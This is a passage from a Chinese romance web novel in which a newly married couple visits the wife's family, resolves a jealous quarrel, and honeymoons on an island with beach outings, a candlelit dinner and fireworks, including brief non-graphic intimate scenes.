管家老李上前迎接小姐和姑爷,并带领腹中的下人把车上的礼物搬下来。
杭景妍下了车便往会客厅里奔去,全然不理还在后面的老公。
欢快的声调传遍会客厅,“父亲,母亲,我回来了。”
杭夫人激动的上前拥抱女儿,“乖女儿,母亲想死你了,在那里过得好不好,吃住还习惯吗?”
“妈,我一切都好,在婆家什么都不缺,栖珵什么都是给我最好的。”杭景妍边说边转头对丈夫示意。
凌栖珵上前搂住杭景妍的肩,语带笃定道:“妈,您放心,我会好好对景妍,不让她受一丁点委屈。”
杭夫人抽出手绢,抹掉流出的眼泪,“看到你们好好的,我也就放心了。”
“栖珵,你也别惯着她的臭毛病,我这女儿啊,在家是被我们惯坏了,该管的还是要管。”
凌栖珵想起了新婚夜的事情,忍俊不禁,但面上不露声色,挂着标准的笑容,回道:“恩,一切都听母亲的。”
杭景妍听了拉着母亲的手撒娇,“妈~~~~,您怎么胳膊肘往外拐。”
“咳咳。”杭正则在背后发声。
“都叙旧完了,景妍你没什么事,就跟你母亲聊吧。栖珵跟我到书房来一趟。”杭老爷吩咐完,放下茶杯,起身去了书房。
“好的,岳父大人。”
凌栖珵跟妻子交代几句,“你跟妈聊聊,我去去就来。”便跟着杭老爷去了书房。
杭夫人拉着女儿的手坐随意坐着聊天,“他们男人估计是有他们的事情要聊,别理他们,我们聊我们的。
书房内。
杭正则走进来,便在一侧的沙发上坐下,并且招呼女婿:“栖珵啊,坐。”他指了指他身侧的沙发。
凌栖珵点头,坐在了一侧的沙发。
面前的茶几上,摆放着一套茶具,杭正则亲自动手,找出茶叶开始沏茶。
作为小辈,怎么敢劳动长辈,他拦住了杭正则的手,“让我来吧。”
杭正则也没有坚持,便让女婿动手。
看着女婿一整套连贯的沏茶动作,他叹了口气,“现在生意是越来越难做了。”
“洋人咄咄逼人,盯着我的染料厂不放。简直就是欺人太甚。”
凌栖珵气定神闲地泡茶,倒茶,并把沏好的茶放在岳父面前。
“我们不会让他们得逞,凌氏的资金已经到位,到时候两家资源整合,染料,印花,制衣。行成一整条完善强大的产业链,看他们如何吃得下。”
“凌氏一直地产,金融方面都做的很好,一直想插手印染布匹这一块,收购了无锡的厂子,但是一直是空有资金而无门道,有了岳父大人的帮忙,真是如虎添翼。”
杭正则端起茶杯,浅尝一口,放下,摆了摆手道:“你和景妍结婚后,大家都是一家人,一家人不说两家话,这回没有凌氏,我杭家就要死在洋人资本的围剿下了。以后还要多多依靠你啊。”
凌栖珵端起茶,敬岳父:“尽力而为。”
杭家花园,
杭景妍和母亲在一旁喝茶,欣赏着花园的美景。
杭夫人轻抿一口花茶,放下茶杯,同女儿道:“现在没有旁人,你和母亲说实话,凌家有没有人为难你。”
只有母女二人在,杭景妍也就不说场面话了。她轻叹了口气,“怎么会没有呢,妈妈,你也知道的,我一直不想嫁入这种大家族就是关系复杂规矩多的缘故。凌老爷的那个小妾和她的一双儿女,哪里是个简单的角色,我那个婆婆又是个受气包。凡事都得靠自己。”
杭夫人伸手过来抓住女儿的手,仿佛给她力量,“妈知道,以你的性格,肯定是委屈你了,你爹一意孤行,我也没有办法,但是你也别太委屈自己,无论你到哪里,父母和家族都是你坚强的后盾。
母亲的支持让她感动,忍住要夺眶而出的眼泪,她握紧母亲的手,“我知道,所以我不怕,那几个小货色,等着我收拾他。”
话落,母女两人相视而笑。
凌栖珵和岳父在书房谈完事情,便沿着廊桥去找小妻子,不想半路被一女子拦住,他收住脚步定睛一看,是杭景环。
多日不见的她神情憔悴,因为和凌栖珩的丑闻,前几天的婚礼她
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也没有出现,现在人人都等着看她的笑话,她不会出去给人家机会。
而能帮她拜托目前的困境的只有面前的这个男人。
她看着面前停住脚步的凌栖珵,说道:“你之前说的会帮我出国,你说的话还作数吗?
“当然,我从不食言。”
“那就请你帮我安排吧,我要去法国读书。”
“没问题,到时候一切事情搞定了,会通知你的。”
凌栖珵交代完,准备绕过杭景环,去找景妍。在两人相距差不多二十厘米时,杭景环眼角余光看见杭景妍朝这边走来,她伸手抱住面前的男人。
“我知道你不会再属于我,在我离开之前,能不能给我一个最后的拥抱,给我一个温暖的结尾。”
凌栖珵陡然被搂着,全身上下都不适应,他讨厌陌生女子的任何肢体接触,陌生的气味熏的人想吐。
“给你两秒钟,放开。”
杭景环立马放开了手,对着身后的杭景妍:“姐姐,对不起,我不是故意的。”
杭景妍斜倚着长廊柱子,一副看好戏的神情。
“你不是故意的,你是有意的,杭景环,别说我没让人给你,机会给你了你不中用啊,看看人家嫌弃你嫌弃的。”
“还有凌大公子,干嘛这样对小女子,人家一番梨花带雨对你表明心意,你也太不解风情了。”
“你们两位慢慢演好戏吧,我懒得看,回去了。”
凌栖珵知道事态的严重,他快走几步追上杭景妍,想拉住她的手,杭景妍气冲冲头也不回,把手抽回来。
“放开我,去追你的女人去吧。”
凌栖珵一路追着杭景妍回到了她的房间,关上门。
杭景妍气还没消,转头回来,看见他,直接一个东西砸过去。
凌栖珵连忙闪身躲避。
“我错了,亲爱的,我道歉,都是我大意了,下次我看到她就离她两米远。”凌栖珵走到杭景妍身前,抱着她安抚。
杭景妍一把推开身前的男人,“别搂了别的女人又来搂我。全身都是她的香水味。去洗澡。”
凌栖珵哭笑不得,“我去洗澡前,给我一个解释的机会,她是来找我让我送她出国的,之前她和栖珩的事情让她待不下去,我给了她选择嫁给栖珩或者离开这里,她选择离开,以后她再也不会来碍你的眼了。
听到这里杭景妍面色稍愉,“看在你那么诚恳的份上,就原谅你这一回,去把那一身香水味洗了。熏死人了。”她推着男人一步步推进浴室,在一把把门关上,吩咐道:“好好洗,不洗干净了不许出来。
二十分钟后,凌栖珵洗澡澡,打开了浴室的门,站在门口。
杭景妍闻声抬头,男人只围了一条浴巾,裸露着上身,好身材一览无余,宽肩窄腰,流畅的肌肉线条,六块腹肌,黑色头发上的水滴未干,一滴一滴滴落在他的胸肌上,无声滑落。
这一场面绝对诱惑而血脉喷张,无时无刻都彰显了男性的性感与力量,就算摸过睡过,杭景妍还是觉得脸上温度上升。
“你怎么不穿衣服呀?”杭景妍保持镇定,努力让自己声音没有任何异常道。
凌栖珵无奈地走到床前,“我还想跟你说,我在你这里没换洗衣服。”俊逸的脸庞上带着无辜的神情,仿佛在说,我只是听老婆的话去洗香香,任何意外都不是我该考虑的。
22. 第 22 章
杭景妍连忙起身去给男人找衣服,顺便逃离这裸男的人体诱惑,好歹她也是个正常的女人,再呆下去她怕是要流鼻血。
跑去衣帽间找个找,找了个宽大点的女士浴衣,她拿出来直接丢给了凌栖珵。
“只有这个女士的浴袍了,穿上吧。”
杭景妍扔了浴袍就准备走,离开这个裸男诱惑现场,免得做出什么举动。
凌栖珵哪里会如她的意,拉过她的手腕:“你不检查检查,还有没有香水味吗?”
还没等女人反应过来,一阵天旋地转,她已经被凌栖珵压在了床上,裸露微湿的肌肤隔着衣服与她的相贴,男人身体的温度源源不断传递给她,刚刚降下去的温度陡然升高。
大白天的,杭景妍可不想干什么少儿不宜的活动,她双手把两人隔出一小段距离,“我确认,洗干净了没味了。”
男人的薄唇在女人脖颈暧昧的流连,最后停留在他耳边吐气如兰:“让老婆生气,我简直罪该万死,把我自己当礼物赔罪吧。”
男人薄唇含着女人的耳珠,顺着脸颊吻上嫣红的唇,撬开贝齿,长驱直入,两人唇齿交缠。女人被吻得浑身酥软,难耐地发出一阵呻吟。
杭景妍觉得自己像走入了一座森林,里面高低起伏,忽明忽暗,她循着惯性终于找到了终点,眼前炸开了烟花,她兴奋地卷起了脚趾,得到了极大的满足。
睡了两个时辰后,全身酸软的杭景妍才悠悠转醒,发现她躺在男人的怀里,身边男人闭着眼好似沉沉睡着,睡着的他仍然脸庞仍然精致得足以魅惑众生,但少了一份凌厉感,反而平添了一份柔和。
可惜,刚刚为美男诱惑付出了代价的女人恨死了这美男的诡计多端。
这哪里是他献身赎罪,简直是来惩罚她的才对。
美男的诱惑代价就是自己全身被车碾压过几回,现在动一下都酸爽无比。
不就是去睡了一晚上书房吗?置于连本带息收回来嘛。
杭景妍思及此,给了身边的男人一拳。
女人的细胳膊细腿估计力度跟饶痒痒一般,凌栖珵握住她的手,悠悠转醒:“睡醒了。”
杭景妍没好气的抽回手,翻身背对着他:“哼。”
食髓知味的男人难得的好脾气,小心翼翼得哄着:“生气了,都怪为夫,侍寝太过卖力了。”
听到这话,杭景妍更生气了,翻回身在被子下给了身边男人一脚,誓要把他踹下床,“滚滚滚,得了便宜还卖乖,你侍寝累的是我。”
“好好,都是我的错,现在由小的伺候女王大人梳洗。”凌栖珵按住了妻子乱蹬的脚,抱起她去浴室。
躺在男人怀里的女人‘哼’了声,由着他抱着,后来又想起什么似的,警告道‘你最好老实点,别想着再干什么。”
看着怀里的女人的受惊样,凌栖珵不免觉得好笑。
“放心,不会再对你做什么。”
两人在娘家吃完了晚饭才启程回家。
在回程的路上,凌栖珵问起杭景妍,想没想好去哪里度蜜月?
刚刚经历过和家人的离别,杭景妍正独自欣赏着车外的风景伤感,听到他说度蜜月的事情,有点惊讶的看着自己的丈夫。
她以为他陪他回娘家完了以后就要去工作了,毕竟凌氏的业务也是很繁忙的。没想到他还有这个闲情逸致。
她奇怪道:“你那么闲吗,不用工作的吗?”
“我一辈子才结一次婚,平时为了凌家废寝忘食,难道连度蜜月的时间都没有?那也太惨了。”
既然他这样讲了,杭景妍还真的努力思考起来。
思索了一会,她说:“嗯,我想去看大海,可以吗?”
凌栖珵点了点头,“好,回去收拾行李,明天出发。”
杭景妍有点惊讶,“那么快啊。”
“不然,你要等多久,你也知道我的时间是很宝贵的。”
第二天,太阳的第一缕光芒照耀大地的时候,被厚厚遮光帘遮挡的主卧室内,杭景妍仍然四仰八叉的沉睡着,身边男人却准时睁开了眼睛。
他下床去了浴室洗漱。等他梳洗完,换上休闲装出来,杭景妍还在床上睡。
唰的一声,他拉开了窗帘,刺目的阳光大喇喇闯了进来,铺洒在床上,给沉浸在梦乡中的女子镀上一层金色的轮廓,也让她无法再沉睡。
杭景妍睁开了眼睛,掀开被子,带着起床气的怒声:“凌栖珵,你还让不让人睡觉了!”
此时男人已经打扮整洁坐在一侧沙发上,端起一杯水像品咖啡一样小口小口抿着,面对怒哄也不见丝毫愠色,“你不是要去看海么?给你十分钟,过了这个村没这个店。”
杭景妍才想起今天要去度蜜月的事情,她双手抱头揉着一头乌黑略带凌乱的秀发,大喊一声发泄,才走下心爱的床,去洗漱。
时间一点一滴走着,凌栖珵已经吃完了西式面包和喝完了两杯咖啡,他拿出兜里的怀表看了看时间,已经过了半小时,浴室里才听见动静。
杭景妍打开浴室门慢悠悠走出来,进更衣室挑衣服,凌栖珵又等了又梳妆打扮半小时人才缓缓而出。
杭景妍挑了一条白色洋装配上宽沿海滩度假的沙滩帽,配上墨镜,走出更衣室,到男人面前拿起桌上的一片面包叼在嘴里,“走吧。”
她这种不拘一格的随性行为真是一点都没有大家闺秀的风范,但凌栖珵却分外喜欢她的率真,他弯唇笑了笑,又拿出怀表看了眼时间,过去了一个小时,算的刚刚好。
看着小妻子三两口吞下了面包,他端起一杯咖啡给小妻子,“慢点吃,等你吃完再走。”
杭景妍接过咖啡,喝了几口润喉便放下,“走吧。”说着转身要走
“等一下。”凌栖珵拉住了妻子的手
“嗯?”杭景妍带着疑惑转身。
凌栖珵抽出桌面的餐巾纸,小心翼翼替杭景妍擦拭着嘴角的残渣。
“嘴角沾了东西都不知道,等下人家看见了要笑话。”
男人的指尖带着温度,轻柔地擦拭过唇角,让杭景妍有片刻出神。
有时候这狗男人也是蛮温柔的。她在心里暗暗的想。
回过神,她接过餐巾纸抹掉残渣,“好了,走吧。”
两人相携出了房门。
凌栖珵开车,带着杭景妍两人到码头,再出租艘船,浩浩荡荡,摇摇晃晃地去往某个不知名的海岛。
在摇晃着的渡轮上看着阳光下波光粼粼的海面,吹着海风,杭景妍心情大好。
她张开双手,感受着海风的吹拂,对着大海大喊一声:“啊,大海好美啊。”
接着又在船上摆着各种姿势,突然发现这种美好时刻,不拿出相机定格,简直是对美景的辜负。
而她的面前不就站着一个现成的拍照工具人嘛,她不客气的命令道:“凌栖珵,给你老婆照几张靓照。”
“遵命。”
凌栖珵端起相机,从镜头中看着她穿着一声粉红色的旗袍,倚着栏杆随意侧脸凝望远方,一头微卷的棕色长发在海风的吹拂下飘扬,白皙的皮肤沐浴在阳光下透着晶莹,配上一副黑色墨镜,红唇微启。定格下一张恣意张扬美艳的女郎形象照。
拍完了这张照片,又换了几个姿势,各种拍。在不间断的模特拍照中,船缓缓靠岸。
两人相携带着行李上了早已经等候在这边的车。
车子是管理凌家在这边的房子的管家派来的,一路把他们带去了凌家的岛上别墅。
凌家在岛上的别墅依山傍海,随着管家推开大门,杭景妍走进别墅,打开阳台门,蓝色大海尽收眼底。
杭景妍趴在栏杆上,凝望着海景,赞叹道:“这里真美,没想到你家在这里还有房子,每天在海边看着日出日落,简直太惬意了。
早上起床的太早,杭景妍已经筋疲力尽,吃过中饭,就躺进了柔软的大床,甜甜进入梦乡。这回,没有人再把她拉起来,凌栖珵也陪着她,躺床上,甜甜入梦。
傍晚,夕阳西下,笼罩着沙滩与海面,随风波动的海面把阳光切割成细碎的金子,耀眼却不夺目。
岸上的小洋房,和植物也像镀上了一层金色
杭景妍和凌栖珵美美睡了一觉吃完晚餐。她望着斜阳落日的景色赞叹,“这里的景色真美。我们去海边走走吧。”
沐浴着夕阳,两人漫步海边。远远望去,真是一对璧人。
但是很快就有人不应景了,杭景妍走两步就累了,直接坐在了沙滩上,耍赖道:“凌栖珵,我累了,不走了。”
凌栖珵早就猜到她这个德行,但还是说道:“你自己说要散步的,消耗不了热量,肥了可别哭。”
杭景妍置若罔闻,看到沙滩上一个洞洞,好奇起来,“这是什么东西。”
找到了新奇事物,把老公也晾在一边,她挖开了一个有一个洞,知道挖累了。
叹气道:“什么都没有。”
凌栖珵微笑着走到她身边,蹲下:“这是螃蟹洞,你的速度要快,他们不能见光,很快便遁地不见了。”
他找了一个新的洞,快速的挖开,以迅雷不及掩耳之势用手一掏,一直小小的螃蟹出现在他手中。
见到男人抓到了神秘的动物,杭景妍一阵惊呼,“没想到,你手速那么快。挺厉害的。”
凌栖珵也略带得意,“小时候偶尔在海边度假,学会的,还可以吧。”
他炫耀着,又找到一个小洞,挖开它,杭景妍也蹲在一旁观看,只见小小的螃蟹身影快速一闪,淹没在沙子中,消失不见,她急忙道:“快快,跑这边去了。
凌栖珵挽着袖子,挖得有些狼狈,知道抓捕方法的他转头望着不远处的海,“这时候要有海水灌进去,把它的家淹了,他们就无处可逃了,但是没带工具,要不还是算了吧。”
好不容易找到了好玩的东西杭景妍怎么能那么算了。刚才还走不动路娇滴滴的小姐模样,现在仿佛燃气斗志的小战士。
“别墅里有,你等着,我去拿。”话音未落,人已经像风一样飞奔出去。
不出几分钟,她便如翩翩起舞的蝴蝶,迎着夕阳带
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着工具飞奔回到沙滩,夕阳下粉裙飞扬,小脸因为奔跑变得红嘟嘟的。
天真浪漫的模样让凌栖珵移不开眼。
杭景妍拿着小桶去装了半桶海水回到男人身边,随意往地下一放。“哪,我装回来了。”
她又伸出双手,在他面前晃荡,你猜,我看到了什么?
轻快的声调唤回发呆中的男人,他瞄了一眼,猜:“海螺,还有什么。海螺都生活在岸边浅滩的泥沙下,偶尔有几个会暴露。
“真没意思,你怎么什么都知道。”杭景妍丧气道,随手把海螺扔进还有海水的桶中。
凌栖珵耸肩,无奈道:“这都是我小时候的游戏。”说着他把洞继续挖大,把海水灌入,在继续向下挖。
杭景妍在一旁酸溜溜的说:“你小时候的乐趣可真多。”
凌栖珵抓着她的手带着她,继续挖沙,“现在带你感受下我小时候的乐趣。现在教你挖螃蟹,等下教你挖海螺。”
杭景妍有些震动,转头望着身边的男人,他的语气带着真诚,他的语言行动都证明他是是真的把她当妻子,带她参与他的过去。如果说前面他的总总行为她能把它归为场面活动,或者是由于多年的教养对妻子的温柔,那现在算什么?总不会他爱上她了吧?
这个想法冒出来,杭景妍都被自己吓了一跳,才短短几个月的相处时间,有那么深情吗?想想都肉麻得起鸡皮疙瘩。
这个肯定是他使得美男计,蓄意勾引自己,千万要镇定,别被美色和暂时的温柔诱惑。
别发呆,快挖,螃蟹跑了。
凌栖珵不懈的劳动,无奈带着拖后腿的发呆妻子,螃蟹还是消失得无影无踪。
望着灌入海水的垮塌大洞,凌栖珵无奈叹气:“跑了,这个洞是挖不到螃蟹了。”
“算了,既然挖不到,那我去捡海螺吧。”
凌栖珵追上去,卖弄关子:“你知道怎么样才能挖到海螺吗?”
杭景妍不知道,但是刚刚在被海浪打湿的岸边就能随意捡到,她可不想输了气势,“不就岸边随便捡嘛。”
凌栖珵并没有理会她这句话,带着她走到湿漉漉的沙滩上,海浪时不时打上来,沾湿了两人的脚,他指着湿润的泥沙,上一排排冒着水泡的小洞,“你看他们就在这泥沙下。”
他说着撸了撸袖子,“看来今天收货会很丰富。”
对准冒水泡的洞,一个个挖开,一个个小海螺争先恐后出现在眼前,杭景妍也不再一边观看,运用刚刚学会的辨别知识也开始动手。
过了半小时,凌栖珵挖了小半桶,而杭景妍却一枚都没有。
面对男人投来的目光,为了给自己挽尊,杭景妍嫌弃道:“这什么动物,跑那么快,破螺,本小姐不玩了。”又嫌弃的看了看自己身上被弄脏的衣服:“脏兮兮的,难受死了。”
夕阳渐渐没入海平面,天色暗淡下来。
凌栖珵弯唇笑了笑,伸手为她摸去脸上的泥,牵起她的手,一手提着那一小桶海螺一手拉着小妻子,往别墅方向走。
“嗯,我家小可爱受罪了,都是这该死的跑得快的小动物,害的我们美丽动人的脸蛋都不美了,为了报仇,回去把它们都炒了吃。”
杭景妍气愤说道:“哼,不把他们吃掉不解本小姐心头之恨。”
夕阳西下,光打两人身上,为他们勾勒出一缕金边,把两人的背影拉的很长很长。
回到别墅内,天已经暗了下来,
凌栖珵去厨房接了一盆干净水,把挖到的海螺倒进去,再给倒上盐,让海螺在盐分的刺激下吐出泥沙,免得吃到影响口感。
看样子男人准备亲自下厨。她有点吃惊。
“你准备自己下厨?”
“不然呢?怎么?信不过我厨艺?”
“既然帮老婆报仇,那肯定得亲自动手。“
当惯了十指不沾阳春水的大小姐,她也以为他和她一样,是个衣来伸手饭来张口的大少爷。
“没想到大少爷也会下厨。”
杭景妍叠起袖子,准备帮忙:“既然如此,本小姐也不要亲自上阵。”
她一副准备充足,准备亲自上场杀敌,又对厨房的一切迷茫的样子让凌栖珵不禁含笑,他转过身,摸了摸她的头,“你现在应该去好好洗个澡,换掉这身衣裳,你难道闻不到你身上的气味。”
杭景妍抬手嗅了嗅,被海水咸腥味熏得撇嘴:“那我沐浴去了,你慢慢煮吧。”
“我等着你报仇雪恨。”
她去沐浴,泡澡加上护肤,没有一个小时绝对完成不了。
等海螺吐沙还需要一段时间,凌栖珵也在一楼洗浴室去洗澡换身衣服。
杭景妍洗浴完过了一小时再下楼,楼下灯光变得黯淡,她疑惑着,走到餐厅,男人穿着一声休闲服,坐在长桌的一端隔着摇曳的烛光凝望着她,桌上还摆着用抓回来的海螺做成的辣炒海螺,加上凉拌青瓜,皮蛋拌豆腐,两杯红酒。
简单的食材,浪漫的氛围。
杭景妍心想,这狗男人真的很会。
23. 第 23 章
杭景妍上前落座,在摇曳的火光中欣赏着男人做的菜肴。
凌栖珵在一边道:“晚上也不宜吃太多东西,只是一道辣炒海螺有点单调了,就随意做个凉拌菜。
杭景妍拿起筷子对男人说:“那我就尝尝你的手艺?”
凌栖珵做个‘请’的手势。
杭景妍夹了一只海螺,尝了一口,咸淡适中,又带有丝丝辣味,辣椒又很好综合掉腥味,让她不住的点头。等咽下螺肉,她才开口:“恩,的确美味。”
她透着烛光望着对面的男人,样貌英俊,气质矜贵优雅,在半明半昧的烛火中,仿佛很远又仿佛很近,让人忍不住探究。
她想起了之前在凌家聚会中听到的有关他前女友的事情,不知道为什么她就好奇,今天他的这些浪漫手法,是不是曾经都玩过。
思及此她放下筷子托着腮,问道:“你这些手法是以前追前女友的时候用过?”
凌栖珵听到她提起过去略微惊讶,转念一想,也不是什么秘密,对他来说都是过去的事情,如果她想知道,他也不会隐瞒。
“你听说过我的前女友?”
杭景妍托着腮点了点头,示意他回答问题。
凌栖珵嘴角扬起弧度,有意逗逗她,道:“你想听真话,还是假话。”
杭景妍抬眸望了望天花板,思考,然后回到:“两个都听。”
凌栖珵拿起手边的酒杯抿了口红酒:“真话是,本来想用的。她走了,没用上。假话是,这是为你特意创造的。你愿意听哪个?”
“假话,你不知道女人都喜欢甜言蜜语吗?”
“可是我的甜言蜜语对你无效。”
“因为看心情。”杭景妍回答玩,哈哈大笑。
看她笑的那么开心,凌栖珵也忍不住勾起嘴角。
心里却五味杂陈,希望她在意,又希望她不在意。在意他才在意他的过去,他希望她在意他,但是他又不想过去的事情伤害到她。
杭景妍跑过来坐在凌栖珵身边,举着叉子对着他:“坦白从宽,抗拒从严,你还有多少个前女友?”
“很多个。”
放佛听到了自己想要的答案,杭景妍突然很泄气,放下叉子:“我就是知道,你们这种花花公子,没一个好东西,大家族规矩又多,看下你爹的小妾就知道了。”
杭景妍突然消沉的样子,让凌栖沉心里一沉,他搂过她:“跟你开玩笑的,我曾经是有个女朋友,后来她抛弃我走后,就没有过,直到遇见了你。”
“亏大发了,我还以为你有很多女朋友准备有多少个我要多少精神损失费呢,反正我是被卖过来的,能榨多少榨多少。”
凌栖珵起身去楼上拿支票。
“你在这里等我。”
杭景妍疑惑地望着他上楼的背影。
不一会,凌栖珵走下楼,签给她一张空白支票。
“我的都是你的,凌家也入股了你家的厂子,帮你家抵御外资兼并,这张空白支票算是精神赔偿,你可以随便写,你老公的财产随时让你榨。”
“只有一样。”凌栖珵凝视着对方的眼睛,清澈纯净,如误入林间的小鹿,让人心生呵护。
他扶着她的脸:“别说自己是卖到我们家的,我会心疼。”
杭景妍的白皙脸庞悄悄爬上红晕,怕男人发现故意转过脸去看窗外。
窗外夜色下,一簇簇烟花在空中绽放,靓丽璀璨照亮夜空,又转瞬消失。有一种凄美转瞬消逝的浪漫之感。
她情不自禁赞叹:“有人在放烟花,好浪漫。”说完便走到露台上去看。完全忘了刚才的情境。
可没等凌栖珵跟上去,烟花戛然而止。
杭景妍在露台站了一会儿,无奈又带着失落回来:“好短暂,才两分钟,都没看过瘾。”
她坐下来目不转睛盯着男人,像是突然想到了什么:“亲爱的,我要看烟花,你要是能让我看半小时烟花,我今天就原谅你。”
凌栖珵无奈又宠溺地看着她:“玩了一整天了,你不累吗?”
杭景妍听语气感觉有希望,顿时来了精神,连忙摇头。
“不累,不累。”
凌栖珵看了一眼墙上的钟,答应下来。
“这个时间点,岛上的商铺估计还没有关门,我们快点吧。”
别墅位于住宅休闲区,少有人烟。要买烟花得去商铺,要去岛上的商铺,必须要开车绕过大半个岛才到达。
男人走到门口随手拿过放在门边的车钥匙。
杭景妍连忙跟上,走进车库,上了凌家常年备用的度假休闲的车。
轰隆的一声响,车子像离弦的箭,离开别墅。
敞篷车在夜间穿梭于山林间,绕着半山腰下山,开往山的另一面,夜晚的海风带着湿气扑面而来。吹起女人的飘逸的秀发,让她不由感到惬意。
八九分钟后,便到了商铺。
凌栖珵停好车,带着女人往铺子走去。
看店的是个五六十岁的大叔,看样子马上就要关门了。见到有人来,他咪着眼睛认了一会,便喜笑颜开:“凌少爷,您怎么有空到小岛上来了。”
男人从容对答:“祥叔,好久不见,还是老样子。我这次是带着妻子来度蜜月。”
祥叔一脸慈祥的看着旁边的杭景妍。
“这就是少夫人,长得真漂亮,和少爷你真般配。”
这话说的杭景妍都不好意思。
凌栖珵接着道:“我们想要买点烟花,不知道您店里还有没有?”
“有的有的。”祥叔连忙去拿。
不一会就把一大袋烟花筒拿了出来,“就剩这些了,你们小年轻度蜜月玩去吧。”
见凌栖珵准备给钱,说什么也不收。
“平时多得凌家照顾,才能做个小本生意,怎么能收少爷的钱。拿回去,拿回去。”
祥叔一边说着,一边推攘拒绝。
凌栖珵无奈,连声道谢,说以后会常来看他。
回去海边的路上杭景妍揶揄:“怎么你家哪里都有不要钱的小商铺。”
凌栖珵便说了祥叔的故事,以前是个我家一个帮工后来老了想养老,就在我家买下的这个岛上,我家送给他个店铺,让他轻松休闲之余又有点工作。
杭景妍点点头:“这里的确挺适合养老的,等我们老了,也来这里养老,每天看着大海,看日升月落。”
她这番说辞让男人莫名愉悦,他弯了弯唇:“好。”
伴着风声,车子开道海岸边,两人拿着烟花道沙滩上。
凌栖珵把一桶桶烟花筒在沙滩上排好,拿出打火机点燃,快速后退。
随着引线点燃的声音,烟火像蝌蚪一样窜上无边的黑夜,‘嘣’的一声,五颜六色的烟火在夜空中绽放,照亮了半边夜空。
璀璨浪漫,又转瞬即逝。美好的事物,短暂又无法拥有。
一簇烟花刚消逝,又一簇窜上来,随机组合的颜色带给人惊喜。
一排烟花点燃,此起彼伏的升空炸开,大小高低错落的花朵,更是震撼。
杭景妍坐在不远的沙滩上观看,烟花照亮了她白皙的脸庞,挂着柔美的笑容。
仰着头看烟花看累了,她便靠在了身边男人的肩上。
男人的肩膀宽厚
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温暖,不由得让人安心。
“凌栖珵,看在你那么诚心的份上,我原谅你了。记住,别让我看到你和其他女人有什么关系,否则我让你知道我的手段。”
凌栖珵转头望了肩膀上的小妻子一眼,狭长的桃花眼中眼眸深沉,带着笃定:“好,我一定守好男德。”
“我看我要回去写好老公守则十条。”
凌栖珵笑了笑,:“我等着。”
看到小妻子一副认真的模样,摸了摸她的头,带着宠溺的笑:“对自己有点信心。”
烟花放完了,杭景妍耍赖伸出双手要抱:“考验你男德的时刻到了,我走不动了。”
凌栖珵认命般蹲下,“上来吧,我的公主。”
杭景妍如愿以偿,趴在男人的背上,被他背回去。得意洋洋的在后面哼着欢快曲子。
“这回我感受到有老公的好处了。”
但是她低估了腹黑够男人的阴险程度。在这方面吃亏了,在别的地方那他肯定得讨回来。”
夜晚,躺在床上的男人突然道:“你知道吗?有一种方法可以保证可以杜绝后患。”
已经躺在床上昏昏欲睡的女人说:“什么?”
“就是,把我榨干。”
男人的吻细细密密落下来,一阵天旋地转,杭景妍被带入漩涡中。
许久之后,风雨宁静,杭景妍望着天花板的吊灯想:“这是谁榨干谁啊。”
吃饱餐足的男人洗过澡,带着清爽的沐浴露香味站在床前,浴袍松垮垮披在身上,露出胸前大片小麦色肌肤,额前碎发滴着水,慵懒又性感。
“要不要我抱你去浴室?”
杭景妍没好气白了一眼,低低念到:“资本家,没有好心眼。”前面被压榨的都要在床上找回来。
“不用,我自己去。”
她自己裹着被子,像个小企鹅一般,一跳一跳进去了。
凌栖珵笑着看她的可爱动作,也由着她去。
想来这回欺负她欺负狠了。
浴室内,
杭景妍泡进洒满玫瑰花瓣的温水中,被舒适温度裹挟,终于感觉酸痛得到一丝舒缓。不由靠着浴缸,放松躺在浴缸中,迷上眼睛享受温水的安抚。
在浴缸中泡了大半个小时,神经舒缓放松,差点睡着。
凌栖珵在屋外的敲门声把她惊醒。
水的凉了,杭景妍起身套了件浴袍开门。
门外,男人随意站着,但是是准备破门而入的动作,脸上带着焦急,看到她出来,送了口气。
带着焦急的语气:“怎么泡那么久,还以为你出事了。”
“被万恶资本家压榨过度,总要缓口气吧,泡的舒服睡着了。”杭景妍一边吐槽一边随意擦头发。“好累,想睡了。
说着坐到了床边,也不管湿漉漉的头发就想躺下。
凌栖珵走过来拦住了她,没给她躺下。
“头发不吹干就睡觉,老了会的风湿。”说着他拿出吹风机,插上电源,打开开关,热热的风从出风口吹出。
凌栖珵顺着她的长发从上到下的吹,吹到半干时,从梳妆台上拿起梳子,把头发梳顺,顺着梳子,几缕几缕的吹。
暖乎乎的风吹着,杭景妍已经昏昏欲睡,二十分钟后,头发吹干,她已经闭上了眼睛。
等凌栖珵放开她的肩膀,人便倒下去。
男人眼疾手快扶住女人的身子,放平躺在床上。
月光如梭,透过窗棂洒在她莹白的脸颊,宛如睡美人,合着眼安睡着,纯净美好。
凌栖珵为她盖上被子,在她额头上落下一吻:“晚安。”
24. 第 24 章
凌栖珵走到自己那一侧床头,关掉床头灯,躺下。
刚盖上被子,睡梦中不老实的女人手脚便缠上来,像在抱着一个大型玩偶,一只脚横跨男人腰腹,并且掀翻了盖在身上的被子。
凌栖珵无奈地搂过怀中女人,并提她盖好了被子。
“睡觉要盖好被子,不然又要着凉了。”
怀中的女人已经进入梦乡,哪里还听到他说什么。
凌栖珵给两人盖好被子,也沉入梦乡。
第二天
朝阳撕破黑暗的夜空,挣扎出一丝光亮,照亮暗沉的海面。
此时的卧室,仍然一片黑暗透不进一丝亮光,恍如深夜。
黑暗中,杭景妍睡得晕晕沉沉的,在半梦半醒间,被一阵阵闷痛刺激着,悠悠转醒。
她捂着小腹呻吟,小腹一阵阵闷痛就像是有人拿着棒槌敲打,忍无可忍,只好起身往卫生间跑去。
起床动作太大惊醒了一旁的男人。
凌栖珵走到卫生间门口敲门,询问:“景妍,怎么了?”语气中带着关切。
“唔。”
此时杭景妍一点都不想回答她,闷痛让她额头都冒着些微虚汗。
她估计是昨天的海螺太凉了,娇气的肠胃受不了,闹了脾气。
过了一阵,杭景妍才虚弱得打开了卫生间的门走出来。
苍白的脸色,额头的虚汗,虚弱的仿佛一阵风来就要倒下。
脆弱的模样让人心疼。
凌栖珵感觉自己心不由自主的发慌。
他连忙扶着她到床上躺下,给他盖好被子,又试了试她额头的温度,冰凉凉,仿佛凉到人心里去。
“我去叫医生。”凌栖珵连忙道。
男人说着连忙起身走出卧室喊来管家。
本来准备吩咐管家请来岛上村里的医生。但转念一想觉得这里的医生可能经验不够丰富。
他还是打了电话给好友。
此时的李麟搂着女人沉浸在温柔乡中做着美梦。
突然被刺耳的铃声吵醒,他真是想骂娘。
迷蒙着眼睛摸到了床头的电话,接起:“谁啊,大清早的扰爷爷的清梦,有话快说,有屁快放。”
